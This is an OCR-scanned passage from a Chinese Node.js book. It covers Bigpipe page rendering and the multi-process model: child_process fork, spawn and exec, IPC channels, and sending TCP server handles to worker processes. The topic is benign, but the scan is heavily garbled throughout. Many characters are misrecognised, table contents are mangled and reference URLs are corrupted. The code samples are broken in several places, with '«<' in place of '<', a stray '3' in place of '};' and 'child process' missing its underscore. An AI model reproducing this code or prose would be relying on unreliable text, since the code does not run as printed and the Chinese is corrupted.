前 文 的 bigpipe.ready() 和 bigpipe.set() 是 整个 前 闯 的 泻 染 机 制 ， 前 者 以 一 个 key 注 册 一 个 事 
件 , 后 者 则 触发 一 个 事件 ， 以 此 完成 页 面 的 渲染 机 制 。 这 两 个 函数 定义 在 bigpipe.js 文 件 中 ， 如 下 
所 不 : 


var Bigpipe = function () { 
this.callbacks = {}; 
}; 


Bigpipe.prototype.ready = function (key, callback) { 
if (!this.callbacks[key]) { 
this.callbacks[key] = []; 


} 
this.callbacks[key] .push(callback); 


3 


Bigpipe.prototype.set = function (key, data) { 
var callbacks = this.callbacks[key] || []; 
for (var i = 0; i «< callbacks.length; i++) { 

callbacks[i].call(this, data); 
} 
}; 


4. 小 结 

Bigpipe 将 网 页 布局 和 数据 演 染 分 离 , 使 得 用 户 在 视觉 上 觉得 网 页 提前 泻 染 好 了 ,其 随 着 数据 
输出 的 过 程 逐步 演 染 页 面 , 使 得 用 户 能 够 感知 到 页 面 是 活 的 。 这 远 比 一 开始 给 出 空白 页 面 , 然后 
在 某 个 时 候 突 然 泻 染 好 带 给 用 户 的 体验 更 好 。Node 在 这 个 过 程 中 , 其 异步 特性 使 得 数据 的 输出 能 
够 并 行 ， 数 据 的 输出 与 数据 调用 的 顺序 无 关 ， 越 早 调 用 完 的 数据 可 以 越 早 演 染 到 页 面 中 ,这 个 特 
性 使 得 Bigpipe 更 趋 完 美 。 

要 完成 Bigpipe 这 样 逐 步 演 染 页 面 的 过 程 ， 其 实 通 过 Ajax 也 能 完成 ， 但 是 Ajax 的 背后 是 HTTP 
调用 , 要 耗费 更 多 的 网 络 连 接 , Bigpipe 获 取 数 据 则 与 当前 页 面 共 用 相同 的 网 络 连接 , 开销 十 分 小 。 

完成 Bigpipe 所 要 涉及 的 细节 较 多 ， 比 MVC 中 的 直接 演 染 要 复杂 许多 ， 建 议 在 网 站 重要 的 且 
数据 请 求 时 间 较 长 的 页 面 中 使 用 。 
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8.6 总结 


本 章 涉 及 的 内 容 较 为 丰 军 ,在 Web 应 用 的 整个 构建 过 程 中 ， 从 处 理 请 求 到 啊 应 请 求 的 整个 过 
程 都 有 原理 性 阐述 ， 整 理 本 董 细 市 就 可 以 完成 一 个 功能 完备 的 Web 开 发 框架 。 过 去 的 各 种 Web 技 
术 ， 随 着 框架 和 库 的 成 型 ， 开 发 者 往往 迷糊 地 知道 应 用 框架 和 库 ， 却 不 知道 细节 的 实现 ， 这 好 比 
没有 地 图 却 在 野地 里 行进 。 本 章 的 内 容 希 望 能 为 Node 开 发 者 带 来 地 图 似 的 启发 , 在 开发 Web 应 用 
时 能 够 心 有 轮 万， 明了 细微 。 

现在 知名 和 成 熟 的 Web 框 架 有 Connect、Express 等 ， 本 章 中 的 内 容 在 这 些 框架 中 都 有 实现 ， 
因为 行文 的 原因 ， 本 和 曹 中 的 代码 实现 得 较为 粗糙 ， 实 际 使 用 请 使 用 这 些 成 熟 的 框架 。 


8.7 参考 资源 


本 章 参 考 的 资源 如 下 : 

DQ http://tools.1etf.org/html/rfc3875 

D http://tools.1etf.org/html/rfc2069 

DQ http://www.1etf.org/rfc/rfc1867 .txt 

DQ http://en.wikipedia.org/Wwik1/Cross-site request forgery 

D https://github.com/senchalabs/connect/blob/master/lib/middleware/csrf.]s 

DQ http://en.wikipedia.org/wiki/Model%E2%80%93viewroE2%80%93controller 


DQ http:/www.ibm.com/developerworks/webservices/library/ws-restful/ 


DQ http://en.wikipedia.org/wik1/Middleware 

DQ http://mustache.github.10/ 

D https://github.com/Joyent/node/wiki/modules#wiki-templating 

DQ https://developer.mozilla.org/zh-CN/docs/JavaScript/Reference/Global Objects/Function 
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玩 转 进程 


Node 在 选 型 时 决定 在 V8 引擎 之 上 构建 ,也 就 意味 着 它 的 模型 与 浏览 旨 类 似 。 我 们 的 JavaScript 
将 会 运行 在 单个 进程 的 单个 线程 上 。 它 种 来 的 好 处 是 : 程序 状态 是 单一 的 , 在 没有 多 线程 的 情况 
下 没有 锁 、 线 程 同步 问题 ， 操 作 系 统 在 调度 时 也 因为 较 少 上 下 文 的 切换 ， 可 以 很 好 地 提高 CPU 的 
使 用 率 。 

但 是 单 进程 单线 程 并 非 完美 的 结构 ， 如 今 CPU 基本 均 是 多 核 的 ， 真 正 的 服务 郁 ( 非 VPS ) 往 
往 还 有 多 个 CPU。 一 个 Node 进 程 只 能 利用 一 个 核 ， 这 将 抛 出 Node 实 际 应 用 的 第 一 个 问题 : 如 何 
充分 利用 多 核 CPU 服务 器 ? 

另外 , 由 于 Node 执 行 在 单线 程 上 , 一 旦 单线 程 上 抛 出 的 异 稼 没有 被 捕获 , 将 会 引起 整个 进程 
的 月 沉 。 这 给 Node 的 实际 应 用 抛 出 了 第 二 个 问题 ， 如 何 保 证 进程 的 健壮 性 和 稳定 性 ? 

在 这 两 个 问题 中 ,前 者 只 是 利用 率 不 足 的 问题 ， 后 者 对 于 实际 产品 化 刘 来 一 定 的 顾虑 。 本 章 
关于 进程 的 介绍 和 讨论 将 会 解决 挥 这 两 个 问题 。 

从 严格 的 意义 上 而 言 ，Node 并 非 趴 正 的 单线 程 架 构 ,， 在 第 3 草 中 我 们 有 和 氢 述 过 Node 上 月 身 还 有 
一 定 的 IO 线程 存在 , 这些 IO 线 程 由 底层 libuv 处 理 ,， 这 部 分 线程 对 于 JavaScript 开 发 者 而 言 是 透明 
的 ， 只 在 C++ 扩 展开 发 时 才 会 关注 到 。JavaScript 代 码 永远 运行 在 V8 上 上， 是 单线 程 的 。 本 划 将 围 
绕 JavaScript 部 分 展开 ， 所 以 屏蔽 底层 细 廊 的 讨论 。 


9.1 服务 模型 的 变迁 

从 “而 ”到 今 ，Web 服 务 器 的 架构 已 经 历 了 几 次 变迁 。 服 务 器 处 理 客户 端 请 求 的 并 发 量 ， 就 
是 每 个 里 程 碑 的 见证 。 
9.1.1 石器 时 代 : 同步 


最 早 的 服务 各 ,其 执行 模型 是 同步 的 , 它 的 服务 模式 是 一 次 只 为 一 个 请 求 服务 ， 所 有 请 求 禾 
得 按 次 序 等 待 服务。 这 意味 除了 当前 的 请 求 被 处 理 外 ,其 余 请 求 都 处 于 耽误 的 状态 。 它 的 处 理 能 
力 相当 低下 ,假设 每 次 响应 服务 耗 用 的 时 间 稳 定 为 N 秒 ， 这 类 服务 的 QPS 为 1/N。 

这 类 架构 如 今 已 基本 被 渔 汰 ， 只 在 一 些 无 并 发 要 求 的 应 用 中 存在 。 
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9.1.2 青铜 时 代 : 复制 进程 


为 了 解决 同步 染 构 的 并 发 问题 ,一 个 简单 的 改进 是 通过 进程 的 复制 同时 服务 更 多 的 请 求 和 用 
户 。 这 样 每 个 连接 都 需要 一 个 进程 来 服务 ， 即 100 个 连接 需要 启动 100 个 进程 来 进行 服务 ,这 是 非 
第 郧 贯 的 代价 。 在 进程 复制 的 过 程 中 , 需要 复制 进程 内 部 的 状态 ,对 于 每 个 连接 都 进行 这 样 的 复 
制 的 话 , 相同 的 状态 将 会 在 内 存 中 存在 很 多 份 , 造成 浪费 。 并 有 旦 这 个 过 程 由 于 要 复制 较 多 的 数据 ， 
局 动 是 较为 缓慢 的 。 

为 了 解决 启动 缕 慢 的 问题 ， 预 复制 ( prefork ) 被 引入 服务 模型 中 ， 即 预先 复制 一 定数 量 的 进 
程 。 同 时 将 进程 复 用 ， 避 免 进程 创建 、 销 毁 带 来 的 开销 。 但 是 这 个 模型 并 不 具备 伸缩 性 ， 一 旦 并 
发 请 求 过 高 ， 内 存 使 用 随 着 进程 数 的 增长 将 会 被 耗 尽 。 

假设 通过 进行 复制 和 预 复制 的 方式 搭建 的 服务 占有 资源 的 限制 ， 且 进程 数 上 限 为 M,， 那 这 类 
服务 的 QPS 为 MN。 


9.1.3 ”白银 时 代 : 多 线程 


为 了 解决 进程 复制 中 的 浪费 问题 , 多 线程 被 引入 服务 模型 ,让 一 个 线程 服务 一 个 请 求 。 线程 相 
对 进程 的 开销 要 小 许多 , 并 日 线 程 之 间 可 以 共享 数据 ， 内 存 浪 费 的 问题 可 以 得 到 解决 , 并 有 旦 利用 线 
程 池 可 以 减少 创建 和 销毁 线程 的 开销 。 但 是 多 线程 所 面临 的 并 发 问题 只 能 说 比 多 进程 略 好 , 因为 每 
个 线程 都 拥有 目 己 独立 的 堆栈 , 这 个 堆栈 都 需要 占用 一 定 的 内 存 空间 。 另 外 , 由 于 一 个 CPU 核心 在 
一 个 时 刻 只 能 做 一 件 事情 , 操作 系统 只 能 通过 将 CPU 切 分 为 时 间 片 的 方法 , 让 线程 可 以 较为 均匀 地 
使 用 CPU 资 源 ， 但 是 操作 系统 内 核 在 切换 线程 的 同时 也 要 切换 线程 的 上 下 文 ， 当 线程 数量 过 多 时 ， 
时 间 将 会 被 耗 用 在 上 下 文 切换 中 。 所 以 在 大 并 发 量 时 ， 多 线程 结构 还 是 无 法 做 到 强大 的 伸缩 性 。 

如 果 忽 略 掉 多 线程 上 下 文 切换 的 开销 ， 假 设 线程 所 占用 的 资源 为 进程 的 1 公 ， 受 资源 上 限 的 
影响 ， 它 的 QPS 则 为 M * ZN。 


9.1.4 黄金 时 代 : 事件 驱动 


多 线程 的 服务 模型 服役 了 很 长 一 段 时 间 ，Apache 就 是 采用 多 线程 /多 进程 模型 实现 的 ， 当 并 
发 增长 到 上 万 时 ， 内 存 耗 用 的 问题 将 会 棒 露 出 来 ， 这 即 是 车 名 的 C10k 问 题 。 

为 了 解决 高 并 发 问题 ， 基 于 事件 驱动 的 服务 模型 出 现 『， 像 Node 与 Nginx 均 是 基于 事件 驱动 
的 方式 实现 的 ， 采 用 单线 程 避免 了 不 必要 的 内 存 开 销 和 上 下 文 切 换 开 销 。 

基于 事件 的 服务 模型 存在 的 问题 即 是 本 章 起 始 时 提 及 的 两 个 问题 : CPU 的 利用 率 和 进程 的 健 
壮 性 。 单 线程 的 架构 并 不 少见 ， 其 中 尤 以 PHP 最 为 知名 一 一 在 PHP 中 没有 线程 的 支持 。 它 的 健壮 
性 是 由 它 给 每 个 请 求 都 建立 独立 的 上 下 文 来 实现 的 。 但 是 对 于 Node 来 说 , 所 有 请 求 的 上 下 文 都 是 
统一 的 ， 它 的 稳定 性 是 吸 需 解决 的 问题 。 

由 于 所 有 人 处理 都 在 单线 程 上 进行 , 影响 事件 驱动 服务 模型 性 能 的 点 在 于 CPU 的 计算 能 力 , 它 
的 上 限 决 定 这 类 服务 模型 的 性 能 上 限 , 但 它 不 受 多 进程 或 多 线程 模式 中 资源 上 限 的 影响 ,可 伸缩 
性 远 比 前 两 者 高 。 如 果 人 解决 掉 多 核 CPU 的 利用 问题 ， 融 来 的 性 能 上 提升 是 可 观 的 。 
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9.2 多 进程 染 构 


面 对 单 进程 单线 程 对 多 核 使 用 不 足 的 问题 , 前 人 的 经 验 是 启动 多 进程 即 可 。 理想 状态 下 每 个 
进程 各 目 利 用 一 个 CPU ， 以 此 实现 多 核 CPU 的 利用 。 所 入 ，Node 提 供 了 child process 柑 块 ， 并 
上 且 也 提供 了 child process.fork() 函 数 供 我 们 实现 进程 的 复制 。 

我 们 再 一 次 将 经 典 的 示例 代码 存 为 workerjs 文 件 ， 如 下 所 示 : 

var http = require('http'); 

http.createServer(function (req, res) { 

res.writeHead(200, {'Content-Type': 'text/plain'}); 


res.end('Hello World\n'); 
}).listen(Math.round((1 + Math.random()) * 1000), '127.0.0.1'); 


通过 node workerjs 启 动 它 ， 将 会 侦 听 1000 到 2000 之 间 的 一 个 随机 端口 。 
将 以 下 代码 存 为 masterjs， 并 通过 node master.js 局 动 它 : 

var fork = require('child process ' ) .fork; 

var cpus = require('os').cpus(); 


for (var i = 0; i «< cpus.length; i++) { 
fork(' ./worker.js'); 


} 
这 段 代码 将 会 根据 当前 机 硕 上 的 CPU 数量 复制 出 对 应 Node 进 程 数 。 在 *nix 系 统 下 可 以 通过 ps 
aux | grep worker.js 查 看 到 进程 的 数量 ， 如 下 所 示 : 


$ ps aux | grep worker.js 

Jacksontian 1475 0.0 0.0 2432768 600 s003 S+ 3:27AM 0:00.00 grep worker.]js 

Jacksontian 1440 0.0 0.2 3022452 12680 s003 9 3:25AM 0:00.14 /usr/local/bin/node ./worker.js 
Jacksontian 1439 0.0 0.2 3023476 12716 s003 9 3:25AM 0:00.14 /usr/local/bin/node ./worker.]js 
Jacksontian 1438 0.0 0.2 3022452 12704 s003 9 3:25AM 0:00.14 /usr/local/bin/node ./worker.]js 
Jacksontian 1437 0.0 0.2 3031668 12696 s003 9 3:25AM 0:00.15 /usr/local/bin/node ./worker.]js 


图 9 天 证 省 各 的 Master-Worker 模 式 ， 叉 称 主 从 模式 。 图 9-1 中 的 进程 分 为 两 种 ， 主 进程 和 工 
作 进 程 。 这 是 典型 的 分 布 式 架构 中 用 于 并 行 处 理 业 务 的 模式 ， 具 备 较 好 的 可 伸缩 性 和 稳定 性 。 主 
进程 不 负责 具体 的 业务 处 理 ， 而 是 负责 调度 或 管理 工作 进程 , 它 是 趋 回 于 稳定 的 。 工 作 进 程 负责 
具体 的 业务 处 理 ,， 因 为 业务 的 多 种 多 样 ， 甚 至 一 项 业务 由 多 人 开发 完成 , 所 以 工作 进程 的 稳定 性 
值得 开发 者 关注 。 


master.]s 


p00 ph _ "I 


Worker.js - 


-] ”Master-Worker 模 式 
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通过 fork() 复 制 的 进程 都 是 一 个 独立 的 进程 , 这 个 进程 中 有 着 独立 而 全 新 的 V8 实例 。 它 需要 
至 少 30 毫 秘 的 启动 时 间 和 至 少 10 MB 的 内 存 。 尽 管 Node 提 供 了 fork() 供 我 们 复制 进程 使 每 个 CPU 
内 核 都 使 用 上 , 但 是 依然 要 切记 fork() 进 程 是 昂贵 的 。 好 在 Node 通 过 事件 驱动 的 方式 在 单线 程 上 
解决 了 大 并 发 的 问题 , 这 里 局 动 多 个 进程 只 是 为 了 充分 将 CPU 资源 利用 起 来 ， 而 不 是 为 了 解决 并 
发 问题 。 


9.2.1 创建 子 进程 


child_process 模 块 给 予 Node 可 以 随意 创建 子 进程 ( child_process ) 的 能 力 。 它 提供 了 4 个 方 
法 用 于 创建 子 进 程 。 
口 spawn(): 启动 一 个 子 进程 来 执行 命令 。 
口 exec(): 启动 一 个 子 进程 来 执行 命令 ， 与 spawn() 不 同 的 是 其 接口 不 同 ， 它 有 一 个 回调 省 
数 获知 子 进程 的 状况 。 
口 execFile(): 启动 一 个 子 进程 来 执行 可 执行 文件 。 
口 fork(): 与 spawn() 类 似 , 不 同 点 在 于 它 创建 Node 的 子 进程 只 需 指 定 要 执行 的 JavaScript 文 
件 模 块 即 可 。 
spawn() 与 exec()、execFile() 不 同 的 是 ， 后 两 者 创建 时 可 以 指定 timeout 属 性 设置 超时 时 间 ， 
一 旦 创建 的 进程 运行 超过 设 定 的 时 间 将 会 被 杀 死 。 
exec() 与 execFile() 不 同 的 是 ，exec() 适 合 执行 已 有 的 命令 ，execFile() 适 合 执行 文件 。 这 里 
我 们 以 一 个 寻常 命令 为 例 ，node worker.js 分 别 用 上 述 4 种 方法 实现 ， 如 下 所 示 : 
var cp = require('child process'); 
cp.spawn('node', ['worker.js' ]); 


cp.exec('node worker.js', function (err, stdout, stderr) { 
// some code 


3 
cp.execFile('worker.js', function (err, stdout, stderr) { 
// some code 


cp.fork('./worker.js'); 


以 上 4 个 方法 在 创建 子 进程 之 后 均 会 返回 子 进程 对 象 。 它 们 的 差别 可 以 通过 表 9-1 查 看 。 
表 9-1 4 种 方法 的 差别 


类 型 回调 /异常 进程 类 型 执行 类 型 可 设置 超时 
spon 任意 命令 x 
ESE) \ 任意 命令 y 
execFile() | 任意 可 执行 文件 y 
fork() x Node JavaScript 文 件 四 


这 里 的 可 执行 文件 是 指 可 以 直接 执行 的 文件 ， 如 果 是 JavaScript 文 件 通过 execFile() 运 行 , 它 
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的 首 行内 容 必 须 添加 如 下 代码 : 
#!/usr/bin/env node 


尽管 4 种 创建 子 进 程 的 方式 有 些 差 别 ， 但 事实 上 后 面 3 种 方法 都 是 spawn() 的 延伸 应 用 。 


9.2.2 ”进程 间 通 信 


在 Master-Worker 模 式 中 ， 要 实现 主 进程 管理 和 调度 工作 进程 的 功能 ， 需 要 主 进程 和 工作 
进程 之 间 的 通信 。 对 于 child_process 模 块 ， 创 建 好 了 子 进程 ， 然 后 与 父子 进程 间 通 信 
容易 的 。 

在 前 端 浏览 需 中 ，JavaScript 主 线程 与 UI 泻 染 共 用 同一 个 线程 。 执 行 JavaScript 的 时 候 UI 演 染 
是 个 沛 的 ， 演 染 UI 时 ，JavaScript 是 停 溃 的 ， 两 者 互相 阻 寨 。 长 时 间 执 行 JavaScript 将 会 造成 UI 集 
顿 不 啊 应 。 为 了 解决 这 个 问题 ，HTML5 提 出 了 WebWorker API。WebWorker 人 允许 创建 工作 线程 并 
在 后 台 运 行 ， 使 得 一 些 阻 塞 较 为 严重 的 计算 不 影 响 主线 程 上 的 UI 深 染 。 它 的 API 如 下 所 示 : 


var worker = new Worker('worker.js'); 
worker.onmessage = function (event) { 
document.getElementById('result').textContent = event.data; 
}; 


其 中 ，worker.js 如 下 所 示 : 


var n = 1; 
search: while (true) { 
n += 1; 
for (var i = 2; i «<= Math.sqrt(n); i += 1) 
if (n % i == 0) 
Continue search; 
// found a prime 
postMessage(n); 


主线 程 与 工作 线程 之 间 通 过 onmessage() 和 postMessage() 进 行 通信 ， 子 进程 对 象 则 由 send() 
方法 实现 主 进 程 回 子 进程 发 送 数据 ，message 事 件 实现 收听 子 进程 发 来 的 数据 ， 与 API 在 一 定 
程度 上 相似 。 通 过 消 奶 传递 内 容 ， 而 不 是 共 至 或 下 接 操作 相关 资源 ， 这 是 较为 轻 量 和 无 依赖 
的 做 法 。 

Node 中 对 应 示例 如 下 所 示 : 


// parent.]s 
var cp = require('child process'); 
var n = cp.fork( dirname + '/sub.js'); 


n.on('message', function (m) { 
console.log('PARENT got message:', m); 
}); 


n.send({hello: ‘world'}); 
// sub.js 
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process.on('message', function (m) { 
console.log('CHILD got message:', m); 


}); 


process.send({foo: 'bar'}); 

通过 fork() 或 者 其 他 API， 创建 子 进程 之 后 ， 为 了 实现 父子 进程 之 间 的 通信 ， 父 进程 与 子 进 
程 之 间 将 会 创建 [PC 通道 。 通 过 IPC 通 道 ， 父 子 进程 之 间 才 能 通过 message 和 send() 传 递 消息 。 

@ 进程 间 通 信和 原理 

IPC 的 全 称 是 Inter-Process Communication， 即 进程 间 通 信 。 进 程 间 通信 的 目的 是 为 了 让 不 同 
的 进程 能 够 互相 访问 资源 并 进行 协调 工作 。 实 现 进程 间 通 信 的 技术 有 很 多 ， 如 命名 管道 、 匿 名 管 
道 、socket 信号 量 、 共 享 内 存 、 消息 队列 、Domain Socket 等 .Node 中 实现 IPC 通 道 的 是 管道 (pipe ) 
技术 。 但 此 管道 非 彼 管道 ， 在 Node 中 管道 是 个 抽象 层面 的 称呼 ,具体 细节 实现 由 libuv 提 供 ， 在 
Windows 下 由 命名 管道 (named pipe ) 实现 ，*nix 系 统 则 采用 Unix Domain Socket 实 现 。 表 现在 应 
用 层 上 的 进程 间 通 信 只 有 人 简单 的 message 事 件 和 send() 方 法 , 接口 十 分 简洁 和 消息 化 。 图 9-2 为 IPC 
创建 和 实现 的 示意 图 。 


IPC 子 进程 


图 9-2” ”IPC 创建 和 实现 示意 图 


父 进程 在 实际 创建 子 进 程 之 前 ， 会 创建 PC 通道 并 监听 它 ， 然 后 才 真正 创建 出 子 进程 ， 并 通 
过 环境 变量 ( NODE_ CHANNEL_FD ) 告诉 子 进程 这 个 IPC 通 道 的 文件 描述 符 。 子 进程 在 启动 的 过 程 中 ， 
根据 文件 描述 符 去 连接 这 个 已 存在 的 PC 通道 ， 从 而 完成 父子 进程 之 间 的 连接 。 图 9-3 为 创建 IPC 
管道 的 步骤 示意 图 。 


监听 /接受 连接 


SEA 


图 9-3 ”创建 IPC 管 道 的 步骤 示意 网 
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建立 连接 之 后 的 父子 进程 就 可 以 自由 地 通信 了 。 由 于 IPC 通 道 是 用 命名 管道 或 Domain Socket 
创建 的 ， 它 们 与 网 络 socket 的 行为 比较 类 似 ， 属 于 双 癌 通信 。 不 同 的 是 它们 在 系统 内 核 中 就 完成 
了 进程 间 的 通信 ， 而 不 用 经 过 实际 的 网 络 层 ， 非 党 高 效 。 在 Node 中 ， 了 PC 通道 被 抽象 为 Stfeam 对 
象 , 在 调用 send() 时 发 送 数据 (类 似 于 write() ), 接收 到 的 消息 会 通过 message 事 件 ( 类 似 于 data ) 
触发 给 应 用 层 。 


注意 ”只 有 启动 的 子 进 程 是 Node 进 程 时 ， 子 进程 才 会 根据 环境 变量 去 连接 IPC 通 道 ， 对 于 其 他 类 型 
的 子 进程 则 无 法 实现 进程 间 通 信 ， 除 非 其 他 进程 也 按 约定 去 连接 这 个 已 经 创建 好 的 IPC 通 道 。 


9.2.3 ”句柄 传递 


建立 好 进程 之 间 的 IPC 后 ， 如 果 仅 仅 只 用 来 发 送 一 些 简单 的 数据 ， 显 然 不 够 我 们 的 实际 应 用 
使 用 。 还 记得 本 章 第 一 部 分 代码 需要 将 启动 的 服务 天 分 别 监 听 各 目的 问 口 么 , 如 果 让 服务 都 监听 
到 相同 的 端口 ， 将 会 有 什么 样 的 结 来 ?示例 如 下 所 示 : 


var http = require('http'); 

http.createServer(function (req, res) { 
res.writeHead(200, {'Content-Type': 'text/plain'}); 
res.end('Hello World\n'); 

}).listen(8888, '127.0.0.1'); 


再 次 启动 masterjs 文 件 ， 如 下 所 示 : 


events.]js:72 
throw er; // Unhandled ‘error' event 


Error: listen EADDRINUSE 
at errnoException (net.js:884:11) 


这 时 只 有 一 个 工作 进程 能 够 监听 到 该 端口 上 上， 其余 的 进程 在 监听 的 过 程 中 都 抛 出 了 
EADDRINUSE 异 稼 ， 这 是 端口 被 占用 的 情况 ， 新 的 进程 不 能 继续 监听 该 端口 了 。 这 个 问题 破坏 了 我 
们 将 多 个 进程 监听 同一 个 端口 的 想法 。 要 解决 这 个 问题 , 通常 的 做 法 是 让 每 个 进程 监听 不 同 的 端 
口 ， 其 中 主 进 程 监听 主 端口 (如 80 )， 主 进程 对 外 接收 所 有 的 网 络 请 求 ， 再 将 这 些 请 求 分 别 代理 
到 不 同 的 端口 的 进程 上 。 示 意图 如 图 9-4 所 示 。 


T 


Node Node Node Node 
(8001) (8002) (8003) (ee ) 


图 9-4” 主 进程 接收 、 分 配 网 络 请 求 的 示意 图 
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通过 代理 ， 可 以 吉 人 免 端 口 不 能 重复 监听 的 问题 ， 其 至 可 以 在 代理 进程 上 做 适当 的 负载 均衡 ， 
使 得 每 个 子 进程 可 以 较为 均衡 地 执行 任务 。 由 于 进程 每 接收 到 一 个 连接 , 将 会 用 掉 一 个 文件 描述 
答 ， 因 此 代理 方案 中 客户 端 连 接 到 代理 进程 , 代理 进程 连接 到 工作 进程 的 过 程 需要 用 挥 两 个 文件 
描述 符 。 操 作 系 统 的 文件 描述 符 是 有 限 的 , 代理 方案 浪费 挥 一 倍数 量 的 文件 描述 符 的 做 法 影响 了 
系统 的 扩展 能 

为 了 解决 上 述 这 样 的 问题 ，Node 在 版 本 v0.5.9 引 入 了 进程 间 发 送 句 柄 的 功能 。send() 方 法 除 
了 能 通过 IPC 发 送 数据 外 ， 还 能 发 送 句 柄 ， 第 二 个 可 选 参数 就 是 句柄 ， 如 下 所 示 : 

child.send(message，[sendHandlej]) 

那 什 么 是 句柄 ? 句柄 是 一 种 可 以 用 来 标识 资源 的 引用 , 它 的 内 部 包含 了 指 回 对 象 的 文件 描述 
符 。 比 如 句柄 可 以 用 来 标识 一 个 服务 硕 端 socket 对 象 、 一 个 客户 端 socket 对 象 、 一 个 UDP 套 接 字 、 
一 个 管 道 等 。 

发 送 句 柄 意味 看 什么 ? 在 前 一 个 问题 中 ,我 们 可 以 去 掉 代 理 这 种 方案 ,使 主 进程 接收 到 socket 
请 求 后 , 将 这 个 socket 和 直接 发 送 给 工作 进程 ,而 不 是 重新 与 工作 进程 之 间 建 立新 的 socket 连 接 来 转 
发 数据 。 文 件 描述 符 沪 费 的 问题 可 以 通过 这 样 的 方式 轻松 解决 。 来 看 看 我 们 的 示例 代码 。 

主 进程 代码 如 下 所 示 : 


var child = require('child process').fork('child.js'); 


// Open up the server object and send the handle 

var server = require('net').createServer(); 

server.on('connection', function (socket) { 
socket.end('handled by parent\n'); 

}); 

server.listen(1337, function () { 
child.send('server', server); 


7) 
子 进 程 代码 如 下 所 示 : 


process.on('message', function (m, server) { 
if (m === 'server') { 
server.on('connection', function (socket) { 
socket.end('handled by child\n'); 
}); 
} 
}); 


这 个 示例 中 直接 将 一 个 TCP 服 务 需 发 送 给 了 子 进 程 。 这 是 看 起 来 不 可 思议 的 事情 ， 我 们 先 来 
测试 一 番 ， 看 看 效果 如 何 ， 如 下 所 示 : 


// 先 启 动 服务 器 
$ node parent.]js 


然后 新 开 一 个 命令 行 窗口 ， 用 上 curl 工 具 ， 如 下 所 示 : 


$ curl "http://127.0.0.1:1337/" 
handled by parent 
$ curl "http://127.0.0.1:1337/" 
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handled by child 
$ curl "http://127.0.0.1:1337/" 
handled by child 
$ curl "http://127.0.0.1:1337/" 
handled by parent 


命令 行 中 的 啊 应 结果 也 是 很 不 可 思议 的 , 这 里 子 进 程 和 父 进 程 都 有 可 能 处理 我 们 客户 端 发 起 
的 请 求 。 

试 试 将 服务 发 送 给 多 个 子 进程 ， 如 下 所 示 : 

// parent.]s 

var cp = require('child process'); 


var child1 = cp.fork('child.js'); 
var child2 = cp.fork('child.js'); 


// Open up the server object and send the handle 

var server = require('net').createServer(); 

server.on('connection', function (socket) { 
socket.end('handled by parent\n'); 

}); 

server.listen(1337, function () { 
child1.send('server', server); 
child2.send('server', server); 


}); 
然后 在 子 进程 中 将 进程 ID 打印 出 来 ， 如 下 所 示 : 


// child.js 
process.on('message', function (m, server) { 
if (m === 'server') { 
server.on('connection', function (socket) { 
socket.end('handled by child, pid is ' + process.pid + '\n'); 
oe 
} 
}); 


再 用 curl 测 试 我 们 的 服务 ， 如 下 所 示 : 


$ curl "http://127.0.0.1:1337/" 
handled by child, pid is 24673 
$ curl "http://127.0.0.1:1337/" 
handled by parent 

$ curl "http://127.0.0.1:1337/" 
handled by child, pid is 24672 


测试 的 结果 是 每 次 出 现 的 结 来 部 可 能 不 同 , 结 来 可 能 被 父 进程 处 理 , 也 可 能 被 不 同 的 于 进程 
处 理 。 并 且 这 是 在 TCP 层 面 上 完成 的 事情 ， 我 们 尝试 将 其 转化 到 HTTP 层 面 来 试 试 。 对 于 主 进程 
而 言 ， 我 们 甚至 想 要 它 更 轻 量 一 点 ， 那 么 是 否 将 服务 靛 句柄 发 送 给 予 进程 之 后 ， 就 可 以 天 邱 服 务 
船 的 监听 ， 证 子 进 程 来 处 理 请 求 呢 ? 

我 们 对 主 进程 进行 改动 ， 如 下 所 未: 


// parent.]s 
var cp = require('child process'); 
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var child1 = cp.fork('child.js'); 
var child2 = cp.fork('child.js'); 


// Open up the server object and send the handle 
var server = require('net').createServer(); 
server.listen(1337, function () { 
child1.send('server', server); 
child2.send('server', server); 
// 关 掉 
server.close(); 


}); 
然后 对 子 进程 进行 改动 ， 如 下 所 示 : 


// child.js 

var http = require('http'); 

var server = http.createServer(function (req, res) { 
res.writeHead(200, {'Content-Type': 'text/plain'}); 

res.end('handled by child, pid is ' + process.pid + '\n'); 

}); 


process.on('message', function (m, tcp) { 
if (m === 'server') { 
tcp.on('connection', function (socket) { 
server.emit('connection', socket); 
}); 
} 
}); 


重新 局 动 parentjs 后 ， 再 次 测试 ， 如 下 所 示 : 


$ curl "http://127.0.0.1:1337/" 
handled by child, pid is 24852 
$ curl "http://127.0.0.1:1337/" 
handled by child, pid is 24851 


这 样 一 来 , 所 有 的 请 求 都 是 由 子 进程 处 理 了 。 整 个 过 程 中 ,服务 的 过 程 发 生 了 一 次 改变 ,如 


图 9-5 所 示 。 


闫 ”发送 发 适 


be SS 
| 


图 9-5” 主 进程 将 请 求 发 送 给 工作 进程 
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主 进程 发 送 完 句柄 并 关闭 监听 之 后 ， 成 为 了 如 图 9-6 所 示 的 结构 。 


监听 监听。 监听 监听 


过] Ce Ea we] 


图 9-6 主 进 程 发 送 完 句柄 并 关闭 监听 后 的 结构 


我 们 神奇 地 发 现 ， 多 个 子 进程 可 以 同时 监听 相同 端口 ， 青 没有 EADDRINUSE 寞 常 发 生 了 。 

1. 句柄 发 送 与 还 原 

上 文 介 绍 的 虽然 是 句柄 发 送 , 但 是 仔细 看 看 , 句柄 发 送 跟 我 们 直接 将 服务 融 对 象 发 送 给 子 进 
程 有 没有 差别 ?” 它 是 否 真 的 将 服务 融 对 象 发 送 给 了 子 进 程 ? 为 什么 它 可 以 发 送 到 多 个 子 进程 
中 ? 发送 给 子 进程 为 什么 父 进 程 中 还 存在 这 个 对 象 ? 本 市 将 揭 开 这 些 秘密 的 所 在 。 

目前 子 进程 对 象 send() 方 法 可 以 发 送 的 句柄 类 型 包括 如 下 几 种 。 

口 net .Socket。TCP 套 接 字 。 

D net.Server。TCP 服 务 需 ， 任 意 建 立 在 TCP 服 务 上 的 应 用 层 服 务 都 可 以 享受 到 它 带 来 的 

好 处 。 

D net.Native。C++ 层 面 的 TCP 套 接 字 或 PC 管道 。 

口 dgram.Socket。UDP 套 接 字 。 

口 dgram.Native。C++ 层 面 的 UDP 僚 接 字 。 

send() 方 法 在 将 消息 发 送 到 IPC 管 道 前 , 将 消息 组 逆 成 两 个 对 象 ， 一 个 参数 是 handle,， 另 一 个 
是 message。message 人 参数 如 下 所 示 : 


cmd: “NODE_ HANDLE  ， 
type: 'net.Server', 
msg: message 


